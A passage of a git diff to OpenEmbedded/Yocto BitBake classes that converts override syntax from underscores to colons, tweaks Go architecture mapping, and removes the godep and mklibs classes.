install -d ${D}${libdir}/go/src/${GO_IMPORT}
tar -C ${S}/src/${GO_IMPORT} -cf - --exclude-vcs --exclude '*.test' --exclude 'testdata' . | \
tar -C ${D}${libdir}/go/src/${GO_IMPORT} --no-same-owner -xf -
- tar -C ${B} -cf - --exclude-vcs pkg | tar -C ${D}${libdir}/go --no-same-owner -xf -
+ tar -C ${B} -cf - --exclude-vcs --exclude '*.test' --exclude 'testdata' pkg | \
+ tar -C ${D}${libdir}/go --no-same-owner -xf -
if [ -n "`ls ${B}/${GO_BUILD_BINDIR}/`" ]; then
install -d ${D}${bindir}
@@ -139,17 +141,17 @@ go_stage_testdata() {
EXPORT_FUNCTIONS do_unpack do_configure do_compile do_install
-FILES_${PN}-dev = "${libdir}/go/src"
-FILES_${PN}-staticdev = "${libdir}/go/pkg"
+FILES:${PN}-dev = "${libdir}/go/src"
+FILES:${PN}-staticdev = "${libdir}/go/pkg"
-INSANE_SKIP_${PN} += "ldflags"
+INSANE_SKIP:${PN} += "ldflags"
# Add -buildmode=pie to GOBUILDFLAGS to satisfy "textrel" QA checking, but mips
-# doesn't support -buildmode=pie, so skip the QA checking for mips and its
+# doesn't support -buildmode=pie, so skip the QA checking for mips/rv32 and its
# variants.
python() {
- if 'mips' in d.getVar('TARGET_ARCH') or 'riscv' in d.getVar('TARGET_ARCH'):
- d.appendVar('INSANE_SKIP_%s' % d.getVar('PN'), " textrel")
+ if 'mips' in d.getVar('TARGET_ARCH') or 'riscv32' in d.getVar('TARGET_ARCH'):
+ d.appendVar('INSANE_SKIP:%s' % d.getVar('PN'), " textrel")
else:
d.appendVar('GOBUILDFLAGS', ' -buildmode=pie')
}
diff --git a/meta/classes/goarch.bbclass b/meta/classes/goarch.bbclass
index 1099b95769..92fec16b82 100644
--- a/meta/classes/goarch.bbclass
+++ b/meta/classes/goarch.bbclass
@@ -6,55 +6,54 @@ HOST_GOARCH = "${@go_map_arch(d.getVar('HOST_ARCH'), d)}"
HOST_GOARM = "${@go_map_arm(d.getVar('HOST_ARCH'), d)}"
HOST_GO386 = "${@go_map_386(d.getVar('HOST_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
HOST_GOMIPS = "${@go_map_mips(d.getVar('HOST_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
-HOST_GOARM_class-native = "7"
-HOST_GO386_class-native = "sse2"
-HOST_GOMIPS_class-native = "hardfloat"
+HOST_GOARM:class-native = "7"
+HOST_GO386:class-native = "sse2"
+HOST_GOMIPS:class-native = "hardfloat"
HOST_GOTUPLE = "${HOST_GOOS}_${HOST_GOARCH}"
TARGET_GOOS = "${@go_map_os(d.getVar('TARGET_OS'), d)}"
TARGET_GOARCH = "${@go_map_arch(d.getVar('TARGET_ARCH'), d)}"
TARGET_GOARM = "${@go_map_arm(d.getVar('TARGET_ARCH'), d)}"
TARGET_GO386 = "${@go_map_386(d.getVar('TARGET_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
TARGET_GOMIPS = "${@go_map_mips(d.getVar('TARGET_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
-TARGET_GOARM_class-native = "7"
-TARGET_GO386_class-native = "sse2"
-TARGET_GOMIPS_class-native = "hardfloat"
+TARGET_GOARM:class-native = "7"
+TARGET_GO386:class-native = "sse2"
+TARGET_GOMIPS:class-native = "hardfloat"
TARGET_GOTUPLE = "${TARGET_GOOS}_${TARGET_GOARCH}"
GO_BUILD_BINDIR = "${@['bin/${HOST_GOTUPLE}','bin'][d.getVar('BUILD_GOTUPLE') == d.getVar('HOST_GOTUPLE')]}"
# Use the MACHINEOVERRIDES to map ARM CPU architecture passed to GO via GOARM.
# This is combined with *_ARCH to set HOST_GOARM and TARGET_GOARM.
BASE_GOARM = ''
-BASE_GOARM_armv7ve = '7'
-BASE_GOARM_armv7a = '7'
-BASE_GOARM_armv6 = '6'
-BASE_GOARM_armv5 = '5'
+BASE_GOARM:armv7ve = '7'
+BASE_GOARM:armv7a = '7'
+BASE_GOARM:armv6 = '6'
+BASE_GOARM:armv5 = '5'
# Go supports dynamic linking on a limited set of architectures.
# See the supportsDynlink function in go/src/cmd/compile/internal/gc/main.go
GO_DYNLINK = ""
-GO_DYNLINK_arm = "1"
-GO_DYNLINK_aarch64 = "1"
-GO_DYNLINK_x86 = "1"
-GO_DYNLINK_x86-64 = "1"
-GO_DYNLINK_powerpc64 = "1"
-GO_DYNLINK_powerpc64le = "1"
-GO_DYNLINK_class-native = ""
-GO_DYNLINK_class-nativesdk = ""
+GO_DYNLINK:arm ?= "1"
+GO_DYNLINK:aarch64 ?= "1"
+GO_DYNLINK:x86 ?= "1"
+GO_DYNLINK:x86-64 ?= "1"
+GO_DYNLINK:powerpc64 ?= "1"
+GO_DYNLINK:powerpc64le ?= "1"
+GO_DYNLINK:class-native ?= ""
+GO_DYNLINK:class-nativesdk = ""
# define here because everybody inherits this class
#
-COMPATIBLE_HOST_linux-gnux32 = "null"
-COMPATIBLE_HOST_linux-muslx32 = "null"
-COMPATIBLE_HOST_powerpc = "null"
-COMPATIBLE_HOST_powerpc64 = "null"
-COMPATIBLE_HOST_powerpc64le = "null"
-COMPATIBLE_HOST_mipsarchn32 = "null"
+COMPATIBLE_HOST:linux-gnux32 = "null"
+COMPATIBLE_HOST:linux-muslx32 = "null"
+COMPATIBLE_HOST:powerpc = "null"
+COMPATIBLE_HOST:powerpc64 = "null"
+COMPATIBLE_HOST:mipsarchn32 = "null"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
-TUNE_CCARGS_remove = "-march=mips32r2"
+TUNE_CCARGS:remove = "-march=mips32r2"
SECURITY_NOPIE_CFLAGS ??= ""
# go can't be built with ccache:
@@ -79,10 +78,10 @@ def go_map_arch(a, d):
return 'mips'
elif a == 'mipsel':
return 'mipsle'
+ elif re.match('p(pc|owerpc)(64le)', a):
+ return 'ppc64le'
elif re.match('p(pc|owerpc)(64)', a):
return 'ppc64'
- elif re.match('p(pc|owerpc)(64el)', a):
- return 'ppc64le'
elif a == 'riscv64':
return 'riscv64'
else:
@@ -99,7 +98,7 @@ def go_map_386(a, f, d):
if ('core2' in f) or ('corei7' in f):
return 'sse2'
else:
- return '387'
+ return 'softfloat'
return ''
def go_map_mips(a, f, d):
@@ -115,5 +114,3 @@ def go_map_os(o, d):
if o.startswith('linux'):
return 'linux'
return o
-
-
diff --git a/meta/classes/gobject-introspection.bbclass b/meta/classes/gobject-introspection.bbclass
index 504f75e28d..4db1b362d9 100644
--- a/meta/classes/gobject-introspection.bbclass
+++ b/meta/classes/gobject-introspection.bbclass
@@ -14,30 +14,32 @@ GIR_MESON_OPTION ?= 'introspection'
GIR_MESON_ENABLE_FLAG ?= 'true'
GIR_MESON_DISABLE_FLAG ?= 'false'
+# Define g-i options such that they can be disabled completely when GIR_MESON_OPTION is empty
+GIRMESONTARGET = "-D${GIR_MESON_OPTION}=${@bb.utils.contains('GI_DATA_ENABLED', 'True', '${GIR_MESON_ENABLE_FLAG}', '${GIR_MESON_DISABLE_FLAG}', d)} "
+GIRMESONBUILD = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
# Auto enable/disable based on GI_DATA_ENABLED
-EXTRA_OECONF_prepend_class-target = "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '--enable-introspection', '--disable-introspection', d)} "
-EXTRA_OEMESON_prepend_class-target = "-D${GIR_MESON_OPTION}=${@bb.utils.contains('GI_DATA_ENABLED', 'True', '${GIR_MESON_ENABLE_FLAG}', '${GIR_MESON_DISABLE_FLAG}', d)} "
-
+EXTRA_OECONF:prepend:class-target = "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '--enable-introspection', '--disable-introspection', d)} "
+EXTRA_OEMESON:prepend:class-target = "${@['', '${GIRMESONTARGET}'][d.getVar('GIR_MESON_OPTION') != '']}"
# When building native recipes, disable introspection, as it is not necessary,
# pulls in additional dependencies, and makes build times longer
-EXTRA_OECONF_prepend_class-native = "--disable-introspection "
-EXTRA_OECONF_prepend_class-nativesdk = "--disable-introspection "
-EXTRA_OEMESON_prepend_class-native = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
-EXTRA_OEMESON_prepend_class-nativesdk = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
+EXTRA_OECONF:prepend:class-native = "--disable-introspection "
+EXTRA_OECONF:prepend:class-nativesdk = "--disable-introspection "
+EXTRA_OEMESON:prepend:class-native = "${@['', '${GIRMESONBUILD}'][d.getVar('GIR_MESON_OPTION') != '']}"
+EXTRA_OEMESON:prepend:class-nativesdk = "${@['', '${GIRMESONBUILD}'][d.getVar('GIR_MESON_OPTION') != '']}"
# Generating introspection data depends on a combination of native and target
# introspection tools, and qemu to run the target tools.
-DEPENDS_append_class-target = " gobject-introspection gobject-introspection-native qemu-native prelink-native"
+DEPENDS:append:class-target = " gobject-introspection gobject-introspection-native qemu-native prelink-native"
# Even though introspection is disabled on -native, gobject-introspection package is still
# needed for m4 macros.
-DEPENDS_append_class-native = " gobject-introspection-native"
-DEPENDS_append_class-nativesdk = " gobject-introspection-native"
+DEPENDS:append:class-native = " gobject-introspection-native"
+DEPENDS:append:class-nativesdk = " gobject-introspection-native"
# This is used by introspection tools to find .gir includes
export XDG_DATA_DIRS = "${STAGING_DATADIR}:${STAGING_LIBDIR}"
-do_configure_prepend_class-target () {
+do_configure:prepend:class-target () {
# introspection.m4 pre-packaged with upstream tarballs does not yet
# have our fixes
mkdir -p ${S}/m4
@@ -46,8 +48,8 @@ do_configure_prepend_class-target () {
# .typelib files are needed at runtime and so they go to the main package (so
# they'll be together with libraries they support).
-FILES_${PN}_append = " ${libdir}/girepository-*/*.typelib"
+FILES:${PN}:append = " ${libdir}/girepository-*/*.typelib"
# .gir files go to dev package, as they're needed for developing (but not for
# running) things that depends on introspection.
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
diff --git a/meta/classes/godep.bbclass b/meta/classes/godep.bbclass
deleted file mode 100644
index c82401c313..0000000000
--- a/meta/classes/godep.bbclass
+++ /dev/null
@@ -1,8 +0,0 @@
-DEPENDS_append = " go-dep-native"
-
-do_compile_prepend() {
- rm -f ${WORKDIR}/build/src/${GO_IMPORT}/Gopkg.toml
- rm -f ${WORKDIR}/build/src/${GO_IMPORT}/Gopkg.lock
- ( cd ${WORKDIR}/build/src/${GO_IMPORT} && dep init && dep ensure )
-}
-
diff --git a/meta/classes/grub-efi-cfg.bbclass b/meta/classes/grub-efi-cfg.bbclass
index 3a2cdd698b..ea21b3de3d 100644
--- a/meta/classes/grub-efi-cfg.bbclass
+++ b/meta/classes/grub-efi-cfg.bbclass
@@ -120,3 +120,4 @@ python build_efi_cfg() {
cfgfile.close()
}
+build_efi_cfg[vardepsexclude] += "OVERRIDES"
diff --git a/meta/classes/gsettings.bbclass b/meta/classes/gsettings.bbclass
index 33afc96a9c..3fa5bd40b3 100644
--- a/meta/classes/gsettings.bbclass
+++ b/meta/classes/gsettings.bbclass
@@ -13,30 +13,30 @@ python __anonymous() {
pkg = d.getVar("GSETTINGS_PACKAGE")
if pkg:
d.appendVar("PACKAGE_WRITE_DEPS", " glib-2.0-native")
- d.appendVar("RDEPENDS_" + pkg, " ${MLPREFIX}glib-2.0-utils")
- d.appendVar("FILES_" + pkg, " ${datadir}/glib-2.0/schemas")
+ d.appendVar("RDEPENDS:" + pkg, " ${MLPREFIX}glib-2.0-utils")
+ d.appendVar("FILES:" + pkg, " ${datadir}/glib-2.0/schemas")
}
gsettings_postinstrm () {
glib-compile-schemas $D${datadir}/glib-2.0/schemas
}
-python populate_packages_append () {
+python populate_packages:append () {
pkg = d.getVar('GSETTINGS_PACKAGE')
if pkg:
bb.note("adding gsettings postinst scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gsettings_postinstrm')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
bb.note("adding gsettings postrm scripts to %s" % pkg)
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gsettings_postinstrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
diff --git a/meta/classes/gtk-doc.bbclass b/meta/classes/gtk-doc.bbclass
index 7dd662bf86..7149bc06c0 100644
--- a/meta/classes/gtk-doc.bbclass
+++ b/meta/classes/gtk-doc.bbclass
@@ -7,6 +7,7 @@
#
# It should be used in recipes to determine whether gtk-doc based documentation should be built,
# so that qemu use can be avoided when necessary.
+GTKDOC_ENABLED:class-native = "False"
GTKDOC_ENABLED ?= "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', \
bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d), 'False', d)}"
@@ -18,20 +19,20 @@ GTKDOC_MESON_ENABLE_FLAG ?= 'true'
GTKDOC_MESON_DISABLE_FLAG ?= 'false'
# Auto enable/disable based on GTKDOC_ENABLED
-EXTRA_OECONF_prepend_class-target = "${@bb.utils.contains('GTKDOC_ENABLED', 'True', '--enable-gtk-doc --enable-gtk-doc-html --disable-gtk-doc-pdf', \
+EXTRA_OECONF:prepend:class-target = "${@bb.utils.contains('GTKDOC_ENABLED', 'True', '--enable-gtk-doc --enable-gtk-doc-html --disable-gtk-doc-pdf', \
'--disable-gtk-doc', d)} "
-EXTRA_OEMESON_prepend_class-target = "-D${GTKDOC_MESON_OPTION}=${@bb.utils.contains('GTKDOC_ENABLED', 'True', '${GTKDOC_MESON_ENABLE_FLAG}', '${GTKDOC_MESON_DISABLE_FLAG}', d)} "
+EXTRA_OEMESON:prepend:class-target = "-D${GTKDOC_MESON_OPTION}=${@bb.utils.contains('GTKDOC_ENABLED', 'True', '${GTKDOC_MESON_ENABLE_FLAG}', '${GTKDOC_MESON_DISABLE_FLAG}', d)} "
# When building native recipes, disable gtkdoc, as it is not necessary,
# pulls in additional dependencies, and makes build times longer
-EXTRA_OECONF_prepend_class-native = "--disable-gtk-doc "
-EXTRA_OECONF_prepend_class-nativesdk = "--disable-gtk-doc "
-EXTRA_OEMESON_prepend_class-native = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
-EXTRA_OEMESON_prepend_class-nativesdk = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
+EXTRA_OECONF:prepend:class-native = "--disable-gtk-doc "
+EXTRA_OECONF:prepend:class-nativesdk = "--disable-gtk-doc "
+EXTRA_OEMESON:prepend:class-native = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
+EXTRA_OEMESON:prepend:class-nativesdk = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
# Even though gtkdoc is disabled on -native, gtk-doc package is still
# needed for m4 macros.
-DEPENDS_append = " gtk-doc-native"
+DEPENDS:append = " gtk-doc-native"
# The documentation directory, where the infrastructure will be copied.
# gtkdocize has a default of "." so to handle out-of-tree builds set this to $S.
@@ -40,15 +41,15 @@ GTKDOC_DOCDIR ?= "${S}"
export STAGING_DIR_HOST
inherit python3native pkgconfig qemu
-DEPENDS_append = "${@' qemu-native' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
+DEPENDS:append = "${@' qemu-native' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
-do_configure_prepend () {
+do_configure:prepend () {
# Need to use ||true as this is only needed if configure.ac both exists
# and uses GTK_DOC_CHECK.
gtkdocize --srcdir ${S} --docdir ${GTKDOC_DOCDIR} || true
}
-do_compile_prepend_class-target () {
+do_compile:prepend:class-target () {
if [ ${GTKDOC_ENABLED} = True ]; then
# Write out a qemu wrapper that will be given to gtkdoc-scangobj so that it
# can run target helper binaries through that.
diff --git a/meta/classes/gtk-icon-cache.bbclass b/meta/classes/gtk-icon-cache.bbclass
index 340a283851..0248ba285e 100644
--- a/meta/classes/gtk-icon-cache.bbclass
+++ b/meta/classes/gtk-icon-cache.bbclass
@@ -1,4 +1,4 @@
-FILES_${PN} += "${datadir}/icons/hicolor"
+FILES:${PN} += "${datadir}/icons/hicolor"
#gtk+3 reqiure GTK3DISTROFEATURES, DEPENDS on it make all the
#recipes inherit this class require GTK3DISTROFEATURES
@@ -45,7 +45,7 @@ else
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
@@ -56,29 +56,29 @@ python populate_packages_append () {
bb.note("adding hicolor-icon-theme dependency to %s" % pkg)
rdepends = ' ' + d.getVar('MLPREFIX', False) + "hicolor-icon-theme"
- d.appendVar('RDEPENDS_%s' % pkg, rdepends)
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
#gtk_icon_cache_postinst depend on gdk-pixbuf and gtk+3
bb.note("adding gdk-pixbuf dependency to %s" % pkg)
rdepends = ' ' + d.getVar('MLPREFIX', False) + "gdk-pixbuf"
- d.appendVar('RDEPENDS_%s' % pkg, rdepends)
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
bb.note("adding gtk+3 dependency to %s" % pkg)
rdepends = ' ' + d.getVar('MLPREFIX', False) + "gtk+3"
- d.appendVar('RDEPENDS_%s' % pkg, rdepends)
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
bb.note("adding gtk-icon-cache postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gtk_icon_cache_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gtk_icon_cache_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
diff --git a/meta/classes/gtk-immodules-cache.bbclass b/meta/classes/gtk-immodules-cache.bbclass
index 8e783fb493..2107517540 100644
--- a/meta/classes/gtk-immodules-cache.bbclass
+++ b/meta/classes/gtk-immodules-cache.bbclass
@@ -47,23 +47,23 @@ else
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
gtkimmodules_pkgs = d.getVar('GTKIMMODULES_PACKAGES').split()
for pkg in gtkimmodules_pkgs:
bb.note("adding gtk-immodule-cache postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gtk_immodule_cache_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gtk_immodule_cache_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
python __anonymous() {
diff --git a/meta/classes/icecc.bbclass b/meta/classes/icecc.bbclass
index d095305ed8..794e9930ad 100644
--- a/meta/classes/icecc.bbclass
+++ b/meta/classes/icecc.bbclass
@@ -47,7 +47,7 @@ HOSTTOOLS_NONFATAL += "icecc patchelf"
#
# A useful thing to do for testing Icecream changes locally is to add a
# subversion in local.conf:
-# ICECC_ENV_VERSION_append = "-my-ver-1"
+# ICECC_ENV_VERSION:append = "-my-ver-1"
ICECC_ENV_VERSION = "2"
# Default to disabling the caret workaround, If set to "1" in local.conf, icecc
@@ -97,7 +97,7 @@ ICECC_SYSTEM_CLASS_BL += "\
image \
"
-def icecc_dep_prepend(d):
+def get_icecc_dep(d):
# INHIBIT_DEFAULT_DEPS doesn't apply to the patch command. Whether or not
# we need that built is the responsibility of the patch function / class, not
# the application.
@@ -105,7 +105,7 @@ def icecc_dep_prepend(d):
return "icecc-create-env-native"
return ""
-DEPENDS_prepend = "${@icecc_dep_prepend(d)} "
+DEPENDS:prepend = "${@get_icecc_dep(d)} "
get_cross_kernel_cc[vardepsexclude] += "KERNEL_CC"
def get_cross_kernel_cc(bb,d):
@@ -138,10 +138,6 @@ def use_icecc(bb,d):
if icecc_is_cross_canadian(bb, d):
return "no"
- if d.getVar('INHIBIT_DEFAULT_DEPS', False):
- # We don't have a compiler, so no icecc
- return "no"
-
pn = d.getVar('PN')
bpn = d.getVar('BPN')
@@ -362,7 +358,7 @@ set_icecc_env() {
ICECC_WHICH_AS="${@bb.utils.which(os.getenv('PATH'), 'as')}"
if [ ! -x "${ICECC_CC}" -o ! -x "${ICECC_CXX}" ]
then
- bbwarn "Cannot use icecc: could not get ICECC_CC or ICECC_CXX"
+ bbnote "Cannot use icecc: could not get ICECC_CC or ICECC_CXX"
return
fi
@@ -432,28 +428,28 @@ set_icecc_env() {
bbnote "Using icecc tarball: $ICECC_VERSION"
}
-do_configure_prepend() {
+do_configure:prepend() {
set_icecc_env
}
-do_compile_prepend() {
+do_compile:prepend() {
set_icecc_env
}
-do_compile_kernelmodules_prepend() {
+do_compile_kernelmodules:prepend() {
set_icecc_env
}
-do_install_prepend() {
+do_install:prepend() {
set_icecc_env
}
# IceCream is not (currently) supported in the extensible SDK
ICECC_SDK_HOST_TASK = "nativesdk-icecc-toolchain"
-ICECC_SDK_HOST_TASK_task-populate-sdk-ext = ""
+ICECC_SDK_HOST_TASK:task-populate-sdk-ext = ""
# Don't include IceCream in uninative tarball
-ICECC_SDK_HOST_TASK_pn-uninative-tarball = ""
+ICECC_SDK_HOST_TASK:pn-uninative-tarball = ""
# Add the toolchain scripts to the SDK
-TOOLCHAIN_HOST_TASK_append = " ${ICECC_SDK_HOST_TASK}"
+TOOLCHAIN_HOST_TASK:append = " ${ICECC_SDK_HOST_TASK}"
diff --git a/meta/classes/image-artifact-names.bbclass b/meta/classes/image-artifact-names.bbclass
index 3ac8dd731a..f5769e520f 100644
--- a/meta/classes/image-artifact-names.bbclass
+++ b/meta/classes/image-artifact-names.bbclass
@@ -4,7 +4,7 @@
IMAGE_BASENAME ?= "${PN}"
IMAGE_VERSION_SUFFIX ?= "-${DATETIME}"
-IMAGE_VERSION_SUFFIX[vardepsexclude] += "DATETIME"
+IMAGE_VERSION_SUFFIX[vardepsexclude] += "DATETIME SOURCE_DATE_EPOCH"
IMAGE_NAME ?= "${IMAGE_BASENAME}-${MACHINE}${IMAGE_VERSION_SUFFIX}"
IMAGE_LINK_NAME ?= "${IMAGE_BASENAME}-${MACHINE}"
@@ -13,3 +13,10 @@ IMAGE_LINK_NAME ?= "${IMAGE_BASENAME}-${MACHINE}"
# by default) followed by additional suffices which describe the format (.ext4,
# .ext4.xz, etc.).
IMAGE_NAME_SUFFIX ??= ".rootfs"
+
+python () {
+ if bb.data.inherits_class('deploy', d) and d.getVar("IMAGE_VERSION_SUFFIX") == "-${DATETIME}":
+ import datetime
+ d.setVar("IMAGE_VERSION_SUFFIX", "-" + datetime.datetime.fromtimestamp(int(d.getVar("SOURCE_DATE_EPOCH")), datetime.timezone.utc).strftime('%Y%m%d%H%M%S'))
+ d.setVarFlag("IMAGE_VERSION_SUFFIX", "vardepvalue", "")
+}
diff --git a/meta/classes/image-combined-dbg.bbclass b/meta/classes/image-combined-dbg.bbclass
index f4772f7ea1..e5dc61f857 100644
--- a/meta/classes/image-combined-dbg.bbclass
+++ b/meta/classes/image-combined-dbg.bbclass
@@ -1,4 +1,4 @@
-IMAGE_PREPROCESS_COMMAND_append = " combine_dbg_image; "
+IMAGE_PREPROCESS_COMMAND:append = " combine_dbg_image; "
combine_dbg_image () {
if [ "${IMAGE_GEN_DEBUGFS}" = "1" -a -e ${IMAGE_ROOTFS}-dbg ]; then
diff --git a/meta/classes/image-container.bbclass b/meta/classes/image-container.bbclass
index f002858bd2..3d1993576a 100644
--- a/meta/classes/image-container.bbclass
+++ b/meta/classes/image-container.bbclass
@@ -1,6 +1,6 @@
ROOTFS_BOOTSTRAP_INSTALL = ""
IMAGE_TYPES_MASKED += "container"
-IMAGE_TYPEDEP_container = "tar.bz2"
+IMAGE_TYPEDEP:container = "tar.bz2"
python __anonymous() {
if "container" in d.getVar("IMAGE_FSTYPES") and \
diff --git a/meta/classes/image-live.bbclass b/meta/classes/image-live.bbclass
index 9ea5ddc312..2c948190cf 100644
--- a/meta/classes/image-live.bbclass
+++ b/meta/classes/image-live.bbclass
@@ -30,7 +30,7 @@ do_bootimg[depends] += "dosfstools-native:do_populate_sysroot \
virtual/kernel:do_deploy \
${MLPREFIX}syslinux:do_populate_sysroot \
syslinux-native:do_populate_sysroot \
- ${PN}:do_image_${@d.getVar('LIVE_ROOTFS_TYPE').replace('-', '_')} \
+ ${@'%s:do_image_%s' % (d.getVar('PN'), d.getVar('LIVE_ROOTFS_TYPE').replace('-', '_')) if d.getVar('ROOTFS') else ''} \
"
@@ -42,9 +42,9 @@ INITRD_LIVE ?= "${DEPLOY_DIR_IMAGE}/${INITRD_IMAGE_LIVE}-${MACHINE}.${INITRAMFS_
LIVE_ROOTFS_TYPE ?= "ext4"
ROOTFS ?= "${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_live = "${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_iso = "${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_hddimg = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:live = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:iso = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:hddimg = "${LIVE_ROOTFS_TYPE}"
IMAGE_TYPES_MASKED += "live hddimg iso"
python() {
@@ -234,7 +234,7 @@ build_hddimg() {
bberror "${HDDDIR}/rootfs.img rootfs size is greather than or equal to 4GB,"
bberror "and this doesn't work on a FAT filesystem. You can either:"
bberror "1) Reduce the size of rootfs.img, or,"
- bbfatal "2) Use wic, vmdk or vdi instead of hddimg\n"
+ bbfatal "2) Use wic, vmdk,vhd, vhdx or vdi instead of hddimg\n"
fi
fi
@@ -261,4 +261,4 @@ python do_bootimg() {
do_bootimg[subimages] = "hddimg iso"
do_bootimg[imgsuffix] = "."
-addtask bootimg before do_image_complete
+addtask bootimg before do_image_complete after do_rootfs
diff --git a/meta/classes/image-mklibs.bbclass b/meta/classes/image-mklibs.bbclass
deleted file mode 100644
index 68e11d4365..0000000000
--- a/meta/classes/image-mklibs.bbclass
+++ /dev/null
@@ -1,56 +0,0 @@
-do_rootfs[depends] += "mklibs-native:do_populate_sysroot"
-
-IMAGE_PREPROCESS_COMMAND += "mklibs_optimize_image; "
-
-inherit linuxloader
-
-mklibs_optimize_image_doit() {
- rm -rf ${WORKDIR}/mklibs
- mkdir -p ${WORKDIR}/mklibs/dest
- cd ${IMAGE_ROOTFS}
- du -bs > ${WORKDIR}/mklibs/du.before.mklibs.txt
-
- # Build a list of dynamically linked executable ELF files.
- # Omit libc/libpthread as a special case because it has an interpreter
- # but is primarily what we intend to strip down.
- for i in `find . -type f -executable ! -name 'libc-*' ! -name 'libpthread-*'`; do
- file $i | grep -q ELF || continue
- ${HOST_PREFIX}readelf -l $i | grep -q INTERP || continue
- echo $i
- done > ${WORKDIR}/mklibs/executables.list
-
- dynamic_loader=${@get_linuxloader(d)}
-
- mklibs -v \
- --ldlib ${dynamic_loader} \
- --libdir ${baselib} \
- --sysroot ${PKG_CONFIG_SYSROOT_DIR} \
- --gcc-options "--sysroot=${PKG_CONFIG_SYSROOT_DIR}" \
- --root ${IMAGE_ROOTFS} \
- --target `echo ${TARGET_PREFIX} | sed 's/-$//' ` \
- -d ${WORKDIR}/mklibs/dest \
- `cat ${WORKDIR}/mklibs/executables.list`
-
- cd ${WORKDIR}/mklibs/dest
- for i in *
- do
- cp $i `find ${IMAGE_ROOTFS} -name $i`
- done
-
- cd ${IMAGE_ROOTFS}
- du -bs > ${WORKDIR}/mklibs/du.after.mklibs.txt
-
- echo rootfs size before mklibs optimization: `cat ${WORKDIR}/mklibs/du.before.mklibs.txt`
- echo rootfs size after mklibs optimization: `cat ${WORKDIR}/mklibs/du.after.mklibs.txt`
-}
-
-mklibs_optimize_image() {
- for img in ${MKLIBS_OPTIMIZED_IMAGES}
- do
- if [ "${img}" = "${PN}" ] || [ "${img}" = "all" ]
- then
- mklibs_optimize_image_doit
- break
- fi
- done
-}
diff --git a/meta/classes/image-prelink.bbclass b/meta/classes/image-prelink.bbclass
index ebf6e6d7ee..8158eeaf4c 100644
--- a/meta/classes/image-prelink.bbclass
+++ b/meta/classes/image-prelink.bbclass
@@ -1,6 +1,6 @@
